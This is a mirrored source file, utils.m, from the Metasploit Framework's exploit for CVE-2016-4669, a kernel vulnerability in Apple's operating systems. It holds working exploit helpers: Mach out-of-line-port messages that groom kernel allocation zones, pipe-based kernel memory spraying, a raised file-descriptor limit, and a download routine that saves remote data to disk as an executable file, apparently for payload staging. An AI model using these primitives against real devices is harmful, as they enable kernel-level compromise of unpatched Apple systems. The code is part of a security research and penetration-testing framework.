CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/CVE-2016-4669/utils.m
Views: 11779
1
// [1] https://github.com/externalist/exploit_playground/blob/master/empty_list/empty_list/empty_list/sploit.c
2
#include "utils.h"
3
4
void for_other_threads(void (^handler)(thread_act_t thread))
5
{
6
thread_act_t thread_self = mach_thread_self();
7
thread_act_port_array_t list;
8
mach_msg_type_number_t count;
9
kern_return_t kr = 0;
10
11
kr = task_threads(mach_task_self(), &list, &count);
12
if (kr != KERN_SUCCESS) {
13
LOG("task_threads failed");
14
return;
15
}
16
17
for (int i=0; i<count; i++) {
18
if (list[i] != thread_self) {
19
handler(list[i]);
20
}
21
}
22
}
23
24
void set_nofile_limit()
25
{
26
int ret;
27
struct rlimit rlim;
28
ret = getrlimit(RLIMIT_NOFILE, &rlim);
29
if (ret < 0) {
30
LOG("getresuid failed errno: %d", errno);
31
exit(-1);
32
}
33
LOG("nofile limit: %llx %llx", rlim.rlim_cur, rlim.rlim_max);
34
35
rlim.rlim_cur = 0x2000;
36
ret = setrlimit(RLIMIT_NOFILE, &rlim);
37
if (ret < 0) {
38
LOG("setrlimit failed errno: %d", errno);
39
exit(-1);
40
}
41
LOG("set new nofile limit: %llx", rlim.rlim_cur);
42
}
43
44
NSData *download_data(NSString *_url)
45
{
46
NSURL *url = [NSURL URLWithString:_url];
47
LOG("get %@", url);
48
NSData *urlData = [NSData dataWithContentsOfURL:url];
49
if (urlData != nil)
50
LOG("got remote len: %d", [urlData length]);
51
else
52
LOG("could not get %@", url);
53
54
return urlData;
55
}
56
57
int download(char *src, char *dest)
58
{
59
NSString *url = [NSString stringWithUTF8String:src];
60
NSData *data = download_data(url);
61
if (data == nil)
62
return -1;
63
64
unlink(dest);
65
sync();
66
67
int fd = open(dest, O_CREAT | O_RDWR,
68
S_IRUSR | S_IXUSR | S_IWUSR |
69
S_IRGRP | S_IXGRP |
70
S_IROTH | S_IXOTH
71
);
72
if (fd < 0) {
73
LOG("could not open %s", dest);
74
return -1;
75
}
76
77
int ret = write(fd, [data bytes], [data length]);
78
LOG("saved to %s, write ret: %d", dest, ret);
79
close(fd);
80
81
sync();
82
83
return 0;
84
}
85
86
mach_port_t alloc_port()
87
{
88
kern_return_t err;
89
mach_port_t port = MACH_PORT_NULL;
90
91
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
92
if (err != KERN_SUCCESS) {
93
LOG("mach_port_allocate failed to allocate a port");
94
}
95
96
// insert a send right:
97
err = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
98
if (err != KERN_SUCCESS) {
99
LOG("mach_port_insert_right failed");
100
}
101
102
return port;
103
}
104
105
// Controlled kernel memory allocations used below
106
// are taken from [1] and described there in great details.
107
typedef struct
108
{
109
mach_msg_header_t hdr;
110
mach_msg_body_t body;
111
mach_msg_ool_ports_descriptor_t ool_ports;
112
uint8_t pad[0x200];
113
} kalloc_mach_msg_t;
114
115
kern_return_t kalloc_ool_ports(mach_port_t port, mach_port_t ool_port, size_t cnt)
116
{
117
kern_return_t err;
118
kalloc_mach_msg_t kalloc_msg = {0};
119
uint32_t msg_size = sizeof(kalloc_msg);
120
// send a message with two OOL NULL ports; these will end up in a kalloc.16:
121
122
kalloc_msg.hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
123
kalloc_msg.hdr.msgh_size = msg_size; //sizeof(struct kalloc_16_send_msg);
124
kalloc_msg.hdr.msgh_remote_port = port;
125
kalloc_msg.hdr.msgh_local_port = MACH_PORT_NULL;
126
kalloc_msg.hdr.msgh_id = 0x41414141;
127
128
kalloc_msg.body.msgh_descriptor_count = 1;
129
mach_port_t ports[cnt];
130
for (int i=0; i<cnt; i++) {
131
ports[i] = ool_port;
132
}
133
134
kalloc_msg.ool_ports.address = ports;
135
kalloc_msg.ool_ports.count = cnt;
136
kalloc_msg.ool_ports.deallocate = 0;
137
kalloc_msg.ool_ports.disposition = MACH_MSG_TYPE_COPY_SEND;
138
kalloc_msg.ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
139
kalloc_msg.ool_ports.copy = MACH_MSG_PHYSICAL_COPY;
140
141
err = mach_msg(&kalloc_msg.hdr,
142
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
143
(mach_msg_size_t)msg_size,
144
0,
145
MACH_PORT_NULL,
146
MACH_MSG_TIMEOUT_NONE,
147
MACH_PORT_NULL);
148
149
if (err != KERN_SUCCESS) {
150
LOG("sending kalloc.8 message failed %s\n", mach_error_string(err));
151
}
152
153
return err;
154
}
155
156
kern_return_t kalloc_page_ool_ports(mach_port_t port)
157
{
158
return kalloc_ool_ports(port, MACH_PORT_NULL, PAGE_SIZE/4);
159
}
160
161
kern_return_t kalloc_8_ool_ports(mach_port_t port, mach_port_t ool_port)
162
{
163
return kalloc_ool_ports(port, ool_port, 2);
164
}
165
166
void discard_message(mach_port_t port)
167
{
168
static int8_t msg_buf[0x4000];
169
mach_msg_header_t* msg = (mach_msg_header_t*)msg_buf;
170
kern_return_t err;
171
err = mach_msg(msg,
172
MACH_RCV_MSG | MACH_MSG_TIMEOUT_NONE, // no timeout
173
0,
174
sizeof(msg_buf),
175
port,
176
0,
177
0);
178
if (err != KERN_SUCCESS){
179
LOG("error receiving on port: %s\n", mach_error_string(err));
180
}
181
182
mach_msg_destroy(msg);
183
}
184
185
void hexdump(void *ptr, size_t n)
186
{
187
uint32_t *u32 = ptr;
188
189
for (int i=0; i<n; i+=2) {
190
LOG("%08X %08X", u32[i], u32[i+1]);
191
}
192
}
193
194
int pipe_create(int fds[2])
195
{
196
int ret = pipe(fds);
197
if (ret < 0) {
198
LOG("pipe allocation failed errno: %d", errno);
199
return -1;
200
}
201
202
return 0;
203
}
204
205
int pipe_alloc(int fds[2], void *buf, size_t size)
206
{
207
int ret = write(fds[1], buf, size);
208
if (ret < 0) {
209
LOG("pipe write failed, fd: %d, errno: %d", fds[1], errno);
210
return -1;
211
}
212
213
return 0;
214
}
215
216
void pipes_close(int *pipes, size_t count)
217
{
218
for (int i=0; i<count; i++) {
219
if (pipes[i*2] != -1) {
220
close(pipes[i*2]);
221
close(pipes[i*2+1]);
222
}
223
}
224
}
225
226
int pipes_create(int *pipes, size_t count)
227
{
228
for (int i=0; i<count; i++) {
229
if (pipe_create(&pipes[i*2]) < 0) {
230
return -1;
231
}
232
}
233
234
return 0;
235
}
236
237
int pipes_alloc(int *pipes, size_t count, char *pipe_buf)
238
{
239
for (int i=0; i<count; i++) {
240
if (pipe_alloc(&pipes[i*2], pipe_buf, PAGE_SIZE-1) < 0) {
241
LOG("pipe alloc failed at %d", i);
242
return -1;
243
}
244
}
245
246
return 0;
247
}
248
249
250